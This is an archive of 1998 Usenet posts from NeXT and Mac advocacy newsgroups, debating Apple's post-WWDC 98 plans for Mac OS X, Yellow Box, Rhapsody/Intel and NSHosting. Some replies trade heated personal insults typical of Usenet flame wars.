for Windows!) is an important piece of the puzzle - but will people
coding in Java flock to the YB APIs (Java or not)? I'm not so sure.
> (snip)
> Now at least there is a plan to bring a lot of the good from both
> companies and give it a future -- maybe not The Ideal Future, but at
Not the ideal future? It's now mid-*1998*, and the future has been
put on hold while we wait for Apple - the leader in innovation! - to
get its act together, because its customer base is 'easily confused',
its employees think they can (and do!) get away with not following
orders, and external companies can dictate Apple's future strategies.
According to people Who Know, the Apple of 1998 as a whole is STILL NOT
run like a mean, lean, professional IT company 'at the forefront of the
information revolution'. I don't think that being afraid or making
concessions is going to help in the long run. It never does.
Just how many years do we still have to wait until computing doesn't
suck anymore?
> least the prospect of continuation. Parts or all of it may still fail,
> but I really don't see where Apple is making huge errors in judgement or
> is deserving of the hostility you display above. Perhaps you're just
> railing at Fate because not enough people appreciated OpenStep when they
> had the chance?
You betcha. Guess I'm *still* not cynical enough.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 17 May 1998 12:34:04 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn3hs$p8d$1@crib.bevc.blacksburg.va.us>
References: <1d954yz.ds1gve1l8datsN@carina37.wco.com> <B183D7A4-C17E@206.165.43.147> <djboccip-1705980929460001@tnt2-127.hiwaay.net>
In article <djboccip-1705980929460001@tnt2-127.hiwaay.net>, djboccip@hiwaay.net (Dennis J. Boccippio) wrote:
> In article <B183D7A4-C17E@206.165.43.147>, "Lawson English"
> <english@primenet.com> wrote:
> > Discrediting someone by citing the very latest manual as though this means
> > that ALL versions of PDF/Distiller/PS never did something is an interesting
> > tactic
> > Publicly denouncing a specific person is also an interesting tactic.
Wow, it's not like we've never seen _that_ happen before on Usenet.
So everyone should be allowed to do that except for Apple employees?
(Remember, he isn't speaking in an official capacity.)
Personally, I think the more Lawson-denouncement going on, the better.
Maybe he'll get sick of posting here and go away. (Not bloody likely.
He'll be whining about every Apple decision ever made, all the way to
his grave.)
> Citing the "very latest" manual is a perfectly valid thing to do if someone
> spouts negative and inaccurate information about a technology.
No kidding! Wouldn't want to confuse him with _facts_, would we??
"Well, uh, okay, maybe I can save face here by claiming Apple is going
to implement an _ancient_ version of PDF. After all, they never said
which version they were going to use!"
> Nothing personal, Lawson, you were just wrong on this one.
No, no, he wasn't wrong and you can't prove it. Apple never said they
were implementing a _good_ version of PDF!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 17 May 1998 12:50:20 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn4gc$pam$1@crib.bevc.blacksburg.va.us>
References: <355B510B.250023F2@milestonerdl.com> <355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us> <355EE75B.BAAEEFBB@milestonerdl.com>
In article <355EE75B.BAAEEFBB@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355DA040.D6BEABC3@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > Mike Paquette wrote:
> > > > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > > > for Windows works on Windows 98 Release Candidates and the Windows NT
> > > > 5.0 beta. It works on the machine in my office, too...
> > > Really?
> > > Is there a QT of this session?
> > You do realize that Mike's an Apple YB engineer, don't you? Don't you
> > think he might know a little something about YB?
> And so the session # where this is mention was what? Is there a QT of it?
You are truly pathetic.
We're now back to "Scott and Mike are lying to us". Do you realize how
much trouble an Apple employee would be in if he publicly _lied_ about
Apple's strategy? Do you think Scott would get invited to any more WWDCs
if he was posting disinformation in his worldwide Stepwise reporting?
We have _two independent corroborations_ for the claim that an Apple
official stated this at WWDC. Get over it. You're not getting your
notarized certificate from Jobs, and it's ludicrous to claim "if I can't
download a Quicktime of someone saying it, then there's no reason to
believe it was said". I bet we could line up half the attendees of WWDC
all supporting that, and you _still_ would say that there's no evidence.
Go buy the freaking video tapes of the conference. Try
http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=
Request the Tuesday Yellow Box session with Ali Ozer in it.
I'm still willing to take you up on that bet, you know. Of course,
since it's so difficult to believe that even _you_ could be this stupid,
I'm forced to conclude that you're just trolling, and would never take
that bet.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 12:56:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn4rq$pbi$1@crib.bevc.blacksburg.va.us>
References: <355c810a.0@206.25.228.5> <6jmt7c$78g$1@ndnws01.ne.highway1.com>
In article <6jmt7c$78g$1@ndnws01.ne.highway1.com>, sschuldt@mediaone.net wrote:
> In article <355c810a.0@206.25.228.5> writes:
> Fortunately, this convoluted abortion of a new imaging model (I daresay the
> Copland of imaging models)
What's so bad about the imaging model? Other than the lack of
NSHosting?
> Anyway, MacOSX sounds like vomit city; not someplace I plan to relocate to.
Now I know why Mac users complain about "those NeXTites". Sheesh.
What's wrong with MacOS X??? It sounds better than Rhapsody 1.0 in every
way I can think of except for no NSHosting and possibly a Carbon-based
Finder/Workspace. And it definitely sounds better than OPENSTEP 4.2
in _many_ respects except for the GUI, which is hopefully fixable with
preferences and themes. (Maybe filesystem organization too; I don't know
if they're going to keep their current cleanly-separated organization,
or start glomming things together so you can dump documents in app
directories and such.)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 13:04:54 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn5bm$pd9$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net>
In article <joe.ragosta-1705980743310001@elk61.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>, akira@home.com
> wrote:
> > Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> > session. I asked the question, I got the answer. There will be NO
> > Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
> Please provide the exact wording and the point of time in the tape where
> this statement was made.
You're as pathetic as Rassbach.
If you're going to get the tapes, just listen to them. (Akira probably
doesn't even have them; he doesn't need to, because he was there _live_,
so I doubt he could give you the "exact wording" and certainly not a
time index!) He told you which session it was in. If you're not going
to get the tapes, then there's no point in asking.
An inability to produce a time index in a session does not imply that
Apple never said it. If you want a recording of someone from Apple
saying that, get the tape. Otherwise, settle for what someone who
attended the session said -- he asked the question, I'm sure he paid
careful attention to the wording of the answer!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 13:07:14 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn5g2$pdp$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net> <355EDED8.23B8E3E0@milestonerdl.com> <joe.ragosta-1705981127210001@elk85.dol.net>
In article <joe.ragosta-1705981127210001@elk85.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> I just asked for the exact wording. No one has provided it yet.
There aren't many people here who were in live attendance at that
session, and no one else would be able to provide exact wording. As for
the people who did attend -- who do you think they are, professional
stenographers?
Akira was the one who _asked the question_ about Rhapsody/Intel. He
would have paid attention to exactly what they said in response.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: Sun, 17 May 1998 12:01:48 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6jn5ai$gsi5@odie.mcleod.net>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com> <6jl9if$jfl$1@crib.bevc.blacksburg.va.us>
The reason that NSHosting will be gone in MacOS X is very simple. In order
to bring MacOS apps forward, Quickdraw MUST be preserved with very few
changes. Quickdraw is an immediate mode API that will never be network
hostable. On the other hand, the DPS style client server code (much of
which is encapsulated in the AppKit anyway) can easily be made "immediate"
without any or much change.
Apple wanted to keep the Window Server / Backing Store consistent between
Quickdraw and AppKit. The new window server will only be responsible for
backing store. There will be no more rendering or RIPing in the server.
This means that Toolbox APPs and Quickdraw will gain "Buffered" and
"Retained" window support and YellowBox will lose remote display. That is
the trade off. That is the compromise.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 13:11:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn5na$pel$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net> <355EDED8.23B8E3E0@milestonerdl.com>
In article <355EDED8.23B8E3E0@milestonerdl.com>, mark@milestonerdl.com wrote:
> When *I* get conformation, I'll send for the tape.
Confirmation from who?? About what?
> I want to hear for myself Apple driving yet another nail in the credibility of
> 'cross-platform'.
Surely you're bright enough to realize that the reasons for
keeping/killing Rhapsody/Intel are largely _independent_ of the reasons
for keeping/killing YB/Windows? (Including the _stated_ reasons for
why Apple doesn't regard R/I as nearly as important as YB/W?) Or is
everything non-Apple equivalent in your mind?
I don't know why I keep assuming you're intelligent enough to understand
these things. Massive evidence points toward the contrary.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Sun, 17 May 1998 09:50:10 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355EA4C1.4BC6@earthlink.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net>
<35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
<355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
<see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5>
<see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5>
<joe.ragosta-1505981627300001@wil93.dol.net> <355e18de.0@206.25.228.5>
<199805161935431709193@sdn-ts-002txhousp06.dialsprint.net> <355e44a8.0@206.25.228.5> <6jltah$dp0$7@newsfep4.sprintmail.com>
Mime-Version: 1.0
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To: macghod@concentric.net
macghod@concentric.net wrote:
> I tell ya tho, I am a mac power user. HOnestly. Only been using Openstep
> for a bit now. I definitely feel for the old Next users. At first, OS 4.2
> was a bit odd, for instance not having menu's at the top, but at the side.
> But after I used it for a while I realized its WAY superior to the mac. Mac
> users AND Apple should realize this. Too many mac users are fighting this
> tho, and it has the chance of seriously weakening rhapsody.
Glad to see you've come to like OpenStep. Wish more people would just
give it a try!
Steve
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 13:14:34 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn5tq$pfg$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <355EDB94.4A38F0A9@milestonerdl.com>
In article <355EDB94.4A38F0A9@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> > session. I asked the question, I got the answer. There will be NO
> > Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
> Ouch. That's about as close as it gets, save a press release that says
> otherwise.Do you remember any other points from that session? About future
> (or lack thereof) for the YB under windows?
What a hypocrite!
You're willing to take Akira's word for it when he claims that Apple
said that they're killing Rhapsody/Intel, but you're not willing to take
Scott or Mike's word for it (and Mike _also_ cited a specific session
and speaker) -- Scott being the _official WWDC reporter_ and Mike being
a _senior Apple YB engineer_, both more credible in this respect than
Akira (not to put him down or anything) -- when they claim that Apple
said that there will be NT5/98 support, and that YB/Windows is part of
their long-term strategy?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 13:16:07 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn60n$pg4$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <355ED9E5.125B0395@milestonerdl.com>
In article <355ED9E5.125B0395@milestonerdl.com>, mark@milestonerdl.com wrote:
> akira@home.com wrote:
> > Repeat after me: No more Rhapsody/x86 after Rhapsody 1.0. Period. Direct
> > from Apple to me to you.
> Do you have proof? A QT, hunk of apple paper, press release?
> Or, can you at least lay out your logic?
I'll lay out his logic: he attended WWDC. In the feedback session,
he asked an Apple official point-blank about this. They gave him a
clear answer, and he told us about it.
I guess that logic's kind of deficient, huh?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 13:20:14 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jn68e$pgm$1@crib.bevc.blacksburg.va.us>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <355c8423.0@206.25.228.5> <6jn2dh$1cc$65@ironhorse.plsys.co.uk>
In article <6jn2dh$1cc$65@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> As Don indicated, my intention was to discriminate between look and feel. It
> looks like MacOS, but to me it feels at least a bit like NEXTSTEP. It
> doesn't feel completely like NEXTSTEP, there are some gotchas, but it's still
> comfortable.
I wonder if they have a preference for right-mouse-button popup app
menus.. I use those almost completely in preference to actually going
up to the menu and clicking on it.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Sun, 17 May 1998 12:29:42 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6jn6tv$138a1@odie.mcleod.net>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <355CC6E3.F30A0812@nstar.net> <6jij29$dq6$5@news.seicom.net> <Et0nDE.Ixo@abulafia.in-berlin.de> <6jivae$1ju$1@camel19.mindspring.com>
The reason that NSHosting will be gone in MacOS X is very simple. In order
to bring MacOS apps forward, Quickdraw MUST be preserved with very few
changes. Quickdraw is an immediate mode API that will never be network
hostable. On the other hand, the DPS style client server code (much of
which is encapsulated in the AppKit anyway) can easily be made "immediate"
without any or much change.
Apple wanted to keep the Window Server / Backing Store consistent between
Quickdraw and AppKit. The new window server will only be responsible for
backing store. There will be no more rendering or RIPing in the server.
This means that Toolbox APPs and Quickdraw will gain "Buffered" and
"Retained" window support and YellowBox will lose remote display. That is
the trade off. That is the compromise.
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 19:35:59 +0200
Organization: pv
Message-ID: <1d96s89.1soa0dn1o3mx0mN@dialup102-4-13.swipnet.se>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com> <199805161935411709091@sdn-ts-002txhousp06.dialsprint.net>
Cache-Post-Path: nn1!s-49817@dialup102-4-13.swipnet.se
John Bauer <drifterusa@sprintmail.com> wrote:
> John Nagle wrote:
> > I have a copy of "Mac OS 8 Revealed", by Tony Francis. (1996,
> > Addison-Wesley, ISBN 0-201-47955-9). This is the book for Copland.
> > It shows just how far Apple was willing to go in terms of making
> > commitments they didn't keep.
> >
> > Never forget this.
>
> Isn't it rather petty to hold on to Copland's broken promise? This
> isn't the Alamo! Besides, the reliability of Apple's current schedule
> has nothing to do with Copland. Move on.
No. Copland aimed to attack some of the real problems deep down in
MacOS. Proper use of protected memory could perhaps be the number one
problem from the list of buzzwords. Apple was very, very late already
then. Two years after the disaster, those problems are still unsolved in
Mac OS and Apple just keeps pushing them forward in time. Focused on
appearence ("Mac OS 8 - platinum look") instead. What counts is what
reaches users. Not what may or may not be hidden in Apples labs.
Had they made the same compromises (drop 1/4 of Mac routines - PPC only)
they announced for Carbon-Q399 directly when they gave up on Copland,
then Apple would already have delivered MacOSX. It would be a Mac OS X
using the NuKernel instead of Mach, no YB, but still pretty much Mac OS
X. Users don't see the kernel. The list of bad routines was well known
by then. In fact it was known long before the PPC transition. Nothing
new there. They didn't and the problems in the Mac OS that users can use
are still there. As bad as ever. Time is now the real problem.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Winners and Losers
Date: 17 May 1998 17:33:04 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd81b9$c8480d60$04387880@test1>
Since WWDC 98 has wrapped, I thought a discussion on winners and
loser might be nice. My suggestion are:
WINNERS:
--------
(1) Apple. Apple finally has major software developers on-board with
their OS strategy. Apple's future Carbon was stable enough to
demonstrate Photoshop 5, a major and complex MacOS application.
Apple gets positive press coverage.
(2) Apple MacOS Developers. Apple provides them with a strategy to
move to the new OS without a complete rewrite of their code. To take
advantage of the new OS, existing users will have to buy upgrades!
(3) OpenStep Developers of Innovative Apps. The Carbon strategy
ensures that MacOS X will be adopted by large numbers of potential
customers.
(4) Mac Users. MacOS X and the developer committment to it means
users will have a modern OS and most of their beloved application
will run native in it (the rest in the BlueBox).
LOSERS:
-------
(1) Rhapsody/Intel Users. Currently Apple appears poised to kill off
Rhapsody/Intel when MacOS X ships. Apple's Intel support is via
NT/9x.
(2) OpenStep Developers of Common Apps. With Apple shipping
AppleWorks for Carbon and Microsoft and other developers commitment
to Carbon, selling an OpenStep word processor just got a lot tougher.
The same may be true of spreadsheets, web browsers, and other
relatively low-cost applications.
(3) OpenStep Developers Selling Into NT/9x. License fees for
OpenStep libraries will be in the range of $20. Hopefully this will
go away when Apple moves to the PDF imaging library.
Todd (Hmmm. My name appears under the "loser" header...)
From: Thomas <thomas@mycal.net>
Newsgroups: comp.sys.next.advocacy
Subject: Yellowbox Product Curves
Date: 17 May 1998 17:58:11 GMT
Organization: Mycal Labs (www.mycal.net)
Message-ID: <6jn8fj$ego$1@news.ncal.verio.com>
Yow there sure have been a lot of curves since 1988, huh?
It seems that the latest isn't particularly a curveball though, rather
just what we were sort of expecting anyway. We have the Mac OS with
Yellowbox coming soon and are looking at a more long-term deal with
Rhapsody while it gets fleshed out.
Killing the Mac OS would be ridiculous for Apple. I never believed they
would do it for a moment. I much prefer the repositioning of Mac OS a la Mach
as a overpowering competitor for Win '98 and Rhapsody as a wild card.
I am also hoping for an RTOS with Yellow that is embeddable into
PDAs and televisions at very low-cost. That's not unreasonable considering
the corporate emphasis on such platforms in the Silicon Valley and all
over Asia right now. I'm confident that Yellow can prevail where
Java [at least by itself] has virtually failed.
Funny how a ten year old technology can come back and getcha!
Thomas
From: willie@pobox.com (Willie Abrams)
Newsgroups: comp.sys.next.advocacy
Subject: Objects in the PDF?
Date: Sun, 17 May 1998 13:04:05 -0500
Organization: EarthLink Network, Inc.
Message-ID: <willie-1705981304180001@ip92.little-rock3.ar.pub-ip.psi.net>
aE,2>V.`kdX53n;0L;z[Y*]80/iO&<i;24h%Itp9753ciK?c=8KyBp0
A quick question:
Clipboard graphics (or basically, all PICTs) were easily editable if you
went in and decoded the PICT as the opcodes in a PICT havce a direct
mapping between the opcodes and the API.
How will this work in Carbon? Will the PDF that is generated from series
of Carbon QuickDraw calls translate into an easily parsable stream that
has a similar mapping?
Thanks,
Willie
----
Willie Abrams willie@pobox.com * http://pobox.com/~willie/
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 17 May 1998 17:56:52 GMT
Organization: P & L Systems
Message-ID: <6jn8d4$1cc$66@ironhorse.plsys.co.uk>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: drifterusa@sprintmail.com
In <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> John Bauer
wrote:
> No Rhapsody/Intel beyond CR1.
> No more DPS.
> No more NSHosting.
> Yellow Box spotlight usurped by old Mac APIs.
> Fully Macified UI.
> G3 or later hardware required to run future incarnations of Rhapsody.
>
> Without debating the finer points of how true all of the above are,
> I'm curious if the consensus in (this slice of) the NeXT community is that
> things were better before Apple bought NeXT and that, in retrospect, the
> merger was a bad move for NeXT aficionados. I think it would be helpful
> if opinions were grounded in economic reality rather than dashed ivory
> tower fantasies, but it's your post, so say whatever you want.
>
IMHO the merger was a good move for us.
From the economic perspective, it was clear that NeXT was moving increasingly
towards just being a Web-tools provider of decreasing importance. Now the
core technology lives on in a marketplace that seems destined to be a couple
of orders of magnitude larger than we ever saw.
> It does seem, in a way, that Jobs is finally making that next-generation
> Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
> thing? The hardware is not as sleek, the UI not as pretty.
>
*If* that is the goal, then again *from the economic perspective*, if he
pulls it off, so what? We'll have a big market. That's better than no
market. Since you're appealing to the heartstrings too:
hardware: Maybe one day Apple will produce something as awesome as a Turbo
Dimension, but it may take a while. In the interim, the iMac signals a
return to innovative design, and the PowerBooks offer systems we could
probably never have hoped for from NeXT.
For me the UI isn't as pretty, but I'm getting used to the aesthetics, and it
*feels* comfortable enough. It's not fighting me the whole time like Windows
does.
> Are the compromises that go with appealing to a consumer market worth it
> for the possibility of the technology flourishing?
>
From the economic perspective, definitely yes.
And I'm not sure there are many compromises.
No Intel? We'll see. If lots of people buy Rhapsody/Intel, then I'm sure
Apple will continue with it. If they don't, then there's no market anyway,
right?
No more DPS? This doesn't affect us that much -- or so we've been claiming
for the last year or more. The new imaging model means that most of most
people's code will remain the same anyway. And we get a number of
enhancements which may more than make up for any "loss".
No more NSHosting. A bit of a pain, but the omission may be only
short-lived, and there will be hooks to allow third-parties to roll their own
anyway.
Yellow Box spotlight usurped by old Mac APIs. So what? If this makes Mac
developers happy, then that's fine by me.
Fully Macified UI. If this helps make it more palatable to more customers,
from the economic perspective that's fine by me.
G3 or later hardware required to run future incarnations of Rhapsody.
Apparently not so: it may be optimised for G3s, but should run on other
systems. That aside, given Rhapsody's market positioning, I suspect this
won't be a major issue anyway.
> Or is the technology doomed anyway if the native OS won't run on
> Windows machines?
>
The first release will run on Intel. cf point above.
Best wishes,
mmalc.
From: anders@common.se
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 18:05:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jn8sn$8j0$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk> <see-below-1505980333080001@209.24.240.3> <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no>
In article <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no>,
andre_tomt@cyberdude.com (Andre Tomt) wrote:
>
> Matthew Vaughan <see-below@not-my-address.com> wrote:
>
> > Are you talking about only CR1, or about later releases (ie, same time as
> > OS 10)? In other words, did they say any more about continuing
> > Rhapsody/PPC (server) releases, and how/when/if it will merge into OS 10?
>
> Go to <http://applewwdc98.isocket.com/theater.html>. All speeches is in
> QT format. But they ar LARGE an u should have a fat net connection and
> lotsa spare time if u plan to watch them ;)
>
> They clarify lotsa rumors and lies about the death of Raphsody etc.
>
> (Raphsody is NOT dead, it will continue as a server os, and YellowBox
> developer tools will be intregated in to MacOS 10)
If you have a URL that doesn't require a T1 and a free weekend, post it.
I'm under the impression that Jobs said Apple won't have a dual-OS strategy.
For no good reason save conditioned pessimism, many people interpreted this to
mean they won't have a *dual-API* strategy (i.e. no YB). As it was directed to
the MacOS community, I'd expect it to mean there won't be a separate server OS
that won't run their apps.
Mainstream OS unification was scheduled for after Y2K, now it's before Y2K. I
can't remember the last time Apple moved a release date in that direction. I
hope it's not too optimistic.
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 11:24:32 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1705981124320001@user-38ld6ac.dialup.mindspring.com>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104> <see-below-1505982202520001@209.24.241.97> <6jk95l$b0m@ragnarok.en.uunet.de> <199805161935261708140@sdn-ts-002txhousp06.dialsprint.net> <6jmsmj$199@ragnarok.en.uunet.de>
In article <6jmsmj$199@ragnarok.en.uunet.de>,
hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette) wrote:
> John Bauer wrote:
> > I fail to see what purpose is served by lacing your words with needless
> > Mac bashing. (And if you hadn't noticed, Apple is being run by NeXT
> > management now.)
>
> I know. Unfortunately that still doesn't mean the troops are following,
> which is Apple's 'core' problem, so to speak.
Ehh? Which troops would that be? This trooper just went through a couple
of months worth of 80 hour weeks.
> > something that looked to be years away in Apple's previous plan. If you
> > regret that NeXT was ever purchased by Apple because plans for
> > widespread adoption of NeXT technology have had to accommodate Apple's
> > ailing financial condition, I suppose that's a valid complaint, although
> > as far as I can tell, widespread adoption of NeXT technology didn't seem
> > too promising in the first place before the merger. Now it looks to me
> > like NeXT technology will be widely available in a couple of years.
>
> .and here's the rub. By the time this 'yellow box thing' is widely
> available, it will be almost irrelevant to anybody but Apple engineers,
> as an easy way to pump up Java's weak spots. Basically, some kind of
> internal library written in an internal language. That doesn't mean
> it's not important! A better Java implementation (which is also available
> for Windows!) is an important piece of the puzzle - but will people
> coding in Java flock to the YB APIs (Java or not)? I'm not so sure.
Nothing is being taken away from anyone (well, except DPS, which is tough
but not entirely by choice). YellowBox remains a viable solution for
anyone that chooses it. The difference with MacOS X is that it isn't being
forced on Mac developers at gun point. Choice is a good thing. MacOS X has
more of them.
> > (snip)
> > Now at least there is a plan to bring a lot of the good from both
> > companies and give it a future -- maybe not The Ideal Future, but at
>
> Not the ideal future? It's now mid-*1998*, and the future has been
> put on hold while we wait for Apple - the leader in innovation! - to
> get its act together, because its customer base is 'easily confused',
> its employees think they can (and do!) get away with not following
> orders, and external companies can dictate Apple's future strategies.
What exactly are you pinning on "Apple employees" here. Was it an Apple
"employee" on stage Monday announcing the MacOS X strategy? Look at who is
giving the orders and what the orders are before you decide that Apple
employees are not following them. You've got some nerve.
-mark
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: piles of pcs
Date: 17 May 1998 11:20:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jn9oh$55p@nntp02.primenet.com>
A little recommended, recreational, reading:
www.beowulf.org
Using the "Beowulf" architecture, research institutions are building
supercomputers from "piles of pcs". Using cheap Intel motherboards and
commodity ethernet connections, systems have been built with 10 BOPS
throughput on real problems. (BOPS = billions of operations per second)
The OS used was Red Hat Linux (with some kernal enhacements). Red Hat has
made a CD available for those wishing to build their own Pile of PCs, for
a whopping $29.
Fun stuff.
John
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 18:19:10 GMT
Organization: P & L Systems
Message-ID: <6jn9mu$1cc$70@ironhorse.plsys.co.uk>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6ji2nm$qns$1@nnrp1.dejanews.com>
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Cc: spagiola@my-dejanews.com
